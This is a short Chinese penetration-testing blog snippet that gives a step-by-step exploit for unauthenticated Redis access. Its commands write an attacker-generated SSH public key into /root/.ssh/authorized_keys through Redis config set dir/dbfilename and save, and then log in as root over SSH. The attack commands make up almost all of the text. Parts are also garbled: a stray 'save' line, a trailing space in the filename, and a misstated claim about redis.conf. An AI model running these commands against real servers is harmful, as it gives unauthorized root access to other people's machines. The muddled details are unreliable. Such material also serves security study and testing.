【渗透测试】redis漏洞利用(1)，金三银四旗开得胜

save

## 写入 SSH公钥

在本地生成一对密钥：
$ ssh-keygen -t rsa
然后将公钥写入 key.txt 文件
$ (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > key.txt
之后利用redis未授权访问漏洞将公钥写到/root/.ssh/id_rsa文件中
$ cat key.txt | redis-cli -h ip -x set crackit
$ redis-cli -h ip -x set crackit
config set dir /root/.ssh
config get dir
config set dbfilename "authorized_keys " //必须为authorized_keys，写死在redis.conf配置文件里的
save
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里，然后攻击者直接执行
$ ssh –i id_rsa ip